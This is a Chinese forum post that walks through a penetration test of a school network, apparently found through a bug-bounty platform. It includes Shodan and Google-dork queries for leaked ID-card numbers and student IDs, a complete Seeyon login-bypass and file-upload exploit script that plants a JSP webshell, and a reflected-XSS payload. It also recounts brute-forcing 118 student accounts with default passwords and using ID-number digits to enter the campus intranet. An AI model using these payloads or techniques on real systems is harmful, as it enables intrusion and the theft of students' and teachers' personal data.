信息收集实战,进入某校内网
尘佑不尘 发表于 湖南 渗透测试 2187浏览 · 2024-11-02 06:02

选择目标

进入补天,选择一个目标

信息收集

真实ip查找

使用

nslookup xxx.xxx.xxx

虽然只有一个ip回显,但是访问后发现,尝试使用https,发现也不行,因为还没有打算跑流量,所以先放下

使用fofa证书序列号查找功能发现ip

从这里进入

在详细信息里面找到序列号

拿百度的来说

去除冒号,将16进制转换为10进制

直接使用cert参数进行搜索,可以发现能够找到一些ip

同理,使用该方法发现真实ip

使用shodan直接查找ip段漏洞

shodan search --limit 100 --fields ip_str,port net:xxx.xxx.xxx.0/24 has_vuln:True

参数解释

  • shodan search: 这是基本的搜索命令,用来启动 Shodan 查询。
  • --limit 100: 这个选项告诉 Shodan 返回最多 100 个结果。默认情况下,Shodan 只返回 100 个结果,但是你可以通过这个参数来改变这个数量(取决于你的订阅级别)。
  • --fields ip_str,port: 这个选项指定你想要在结果中包含哪些字段。在这个例子中,ip_str 是指设备的 IP 地址,port 是指开放的服务端口。
  • net:xxx.xxx.xxx.0/24: 这是一个过滤器,用来查找属于某个特定网络段内的设备。xxx.xxx.xxx.0/24 指的是一个 CIDR 表示法的子网掩码,代表的是一个以 xxx.xxx.xxx. 开头的所有 IP 地址。例如,如果你输入 192.168.1.0/24,那么它将搜索所有 192.168.1.* 的 IP 地址。
  • has_vuln:True: 这个过滤器用来查找已知存在漏洞的设备或服务。如果设置为 True,则只返回那些有已知安全漏洞的结果。
    得到5条ip回显,进行访问后发现有一个不能使用了

两个返回

还有一个倒是正常的,但是图标不正常,是上海某某学校,时间原因就不去验证漏洞是否真的存在了
最后终于找到一个,不过是cve-2010的,都是关于iis的,嗯……,先跳过吧

资产测绘

使用quake进行资产测绘,进行二次测绘,域名和备案号,更加全面

oneforall

使用oneforall进行子域名查找,找到7890条子域名

存活检测+去除多余子域名

对二次资产测绘得到的数据和oneforall得到的数据进行去除,得到12697条数据,并且使用windfire进行存活检测,得到3437条数据

这些大部分都是vpn登录页面的子域名,所以进行二次去重,最终得到162条数据

之后就是丢过去跑jsfind

批量域名得ip,使用shodan搜索漏洞

直接让人工智障写一个脚本,批量url执行nslookup得到去重ip

import re
import subprocess
from urllib.parse import urlparse


def extract_domain(url):
    """从URL中提取域名,并去除端口号"""
    parsed_uri = urlparse(url)
    # 获取netloc并去除端口号
    domain = parsed_uri.netloc.split(':')[0]
    return domain


def get_ip_from_nslookup(domain):
    """使用nslookup命令获取域名对应的IP地址"""
    try:
        # 执行nslookup命令并获取输出
        nslookup_result = subprocess.check_output(['nslookup', domain], stderr=subprocess.STDOUT, text=True)

        # 查找IPv4地址
        ipv4_pattern = r'\b(?:\d{1,3}\.){3}\d{1,3}\b'
        ipv4_addresses = []
        addresses_started = False

        for line in nslookup_result.splitlines():
            if 'Address:' in line:
                addresses_started = True
                match = re.search(ipv4_pattern, line)
                if match:
                    ipv4_addresses.append(match.group(0))

        # 返回最后一个(即第二个)找到的IPv4地址
        if len(ipv4_addresses) >= 2:
            return ipv4_addresses[1]  # 返回第二个IPv4地址

        return None
    except subprocess.CalledProcessError as e:
        print(f"Failed to resolve domain {domain}: {e.output}")
        return None


def process_urls(input_file, output_file):
    """处理输入文件中的URL,获取IP地址,并保存到输出文件中"""
    # 创建一个集合来存储唯一的IP地址
    unique_ips = set()

    with open(input_file, 'r') as file:
        for line in file:
            url = line.strip()
            if url:
                domain = extract_domain(url)
                ip_address = get_ip_from_nslookup(domain)
                if ip_address:
                    unique_ips.add(ip_address)

    # 将唯一IP地址写入新文件
    with open(output_file, 'w') as file:
        for ip in unique_ips:
            file.write(ip + '\n')


# 使用方法
input_file = 'urls.txt'  # 输入文件路径
output_file = 'resolved_ips.txt'  # 输出文件路径

process_urls(input_file, output_file)

得到,有漏洞的ip,不过不太好利用,先跳过

Google搜索,得到大量学号

得到一些敏感数据,比如默认密码,老师的电话之类的

谷歌语法如下(直接copy即可)
site:.A.B.cn filetype:xls OR filetype:xlsx intext:身份证
site:.A.B.cn filetype:pdf OR filetype:doc OR filetype:docx intext:身份证
site:.A.B.cn filetype:xls OR filetype:xlsx "身份证"
site:.A.B.cn filetype:pdf OR filetype:doc OR filetype:docx "身份证"
site:.A.B.cn filetype:xls OR filetype:xlsx intitle:身份证
site:.A.B.cn filetype:pdf OR filetype:doc OR filetype:docx intitle:身份证

语法解释
site:指定域名
inurl:用于搜索包含的url关键词的网页
intitle:搜索网页标题中的关键字
intext:搜索网页正文中的关键字
filetype:按指定文件类型即文件后缀名搜索
cache:已经删除的缓存网页

关键词可以替换为:
身份证|sfz|学号|xh|登录|注册|管理|平台|验证码|账号|系统|手册|默认密码|初始密码|password|联系电话|操作手册|vpn|名单
得到大量的学号泄露,整理了一下,得到332条学号

寻找利用点

尝试致远漏洞(登陆绕过+任意文件上传)

https://blog.csdn.net/bring_coco/article/details/140336176

exp

# coding:utf-8
import time
import requests
import re
import sys
import random
import zipfile


la = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
           'Content-Type': 'application/x-www-form-urlencoded'}

def generate_random_str(randomlength=16):
  random_str = ''
  base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
  length = len(base_str) - 1
  for i in range(randomlength):
    random_str += base_str[random.randint(0, length)]
  return random_str

mm = generate_random_str(8)

webshell_name1 = mm+'.jsp'
webshell_name2 = '../'+webshell_name1

def file_zip():
    shell = 'test'   ## 替换shell内容
    zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED)
    zf.writestr('layout.xml', "")
    zf.writestr(webshell_name2, shell)


def Seeyon_Getshell(urllist):

    url = urllist+'/seeyon/thirdpartyController.do'
    post = "method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1"
    response = requests.post(url=url, data=post, headers=la)
    if response and response.status_code == 200 and 'set-cookie' in str(response.headers).lower():
        cookie = response.cookies
        cookies = requests.utils.dict_from_cookiejar(cookie)
        jsessionid = cookies['JSESSIONID']
        file_zip()
        print( '获取cookie成功---->> '+jsessionid)
        fileurl = urllist+'/seeyon/fileUpload.do?method=processUpload&maxSize='
        headersfile = {'Cookie': "JSESSIONID=%s" % jsessionid}
        post = {'callMethod': 'resizeLayout', 'firstSave': "true", 'takeOver': "false", "type": '0',
                'isEncrypt': "0"}
        file = [('file1', ('test.png', open(mm+'.zip', 'rb'), 'image/png'))]
        filego = requests.post(url=fileurl,data=post,files=file, headers=headersfile)
        time.sleep(2)
    else:
        print('获取cookie失败')
        exit()
    if filego.text:
        fileid1 = re.findall('fileurls=fileurls\+","\+\'(.+)\'', filego.text, re.I)
        fileid = fileid1[0]
        if len(fileid1) == 0:
            print('未获取到文件id可能上传失败!')
        print('上传成功文件id为---->>:'+fileid)
        Date_time = time.strftime('%Y-%m-%d')
        headersfile2 = {'Content-Type': 'application/x-www-form-urlencoded','Cookie': "JSESSIONID=%s" % jsessionid}
        getshellurl = urllist+'/seeyon/ajax.do'
        data = 'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22' + Date_time + '%22%2C%22' + fileid + '%22%5D'
        getshell = requests.post(url=getshellurl,data=data,headers=headersfile2)
        time.sleep(1)
        webshellurl1 = urllist + '/seeyon/common/designer/pageLayout/' + webshell_name1
        shelllist = requests.get(url=webshellurl1)
        if shelllist.status_code == 200:
            print('利用成功webshell地址:'+webshellurl1)
        else:
            print('未找到webshell利用失败')



def main():
    if (len(sys.argv) == 2):
        url = sys.argv[1]
        Seeyon_Getshell(url)
    else:
        print("python3 Seeyon_Getshell.py http://xx.xx.xx.xx")

if __name__ == '__main__':
    main()

只能上传zip文件,不能解压,失败

尝试rabbitmq未授权登录

默认账号密码为guest/guest,失败

xss

反射型xss
发现一个查询框,尝试xss

>"'><script>alert('XSS')</script>

学号+弱口令进入,得到身份证

看子域名的js的url时发现一个登录地址,查看操作说明,发现使用了默认密码

随便尝试一下,直接登录成功,发现直接显示学号和身份证

而且登录的验证码有逻辑错误,第一次验证码正确以后都不验证,直接爆破,使用之前得到的332个学号,成功了118条学号

登录校园网

和大多数学校一样,校园网是学号+身份证后6位

随便尝试一下,直接成功,访问了学校的内网

1 条评论
某人
表情
可输入 255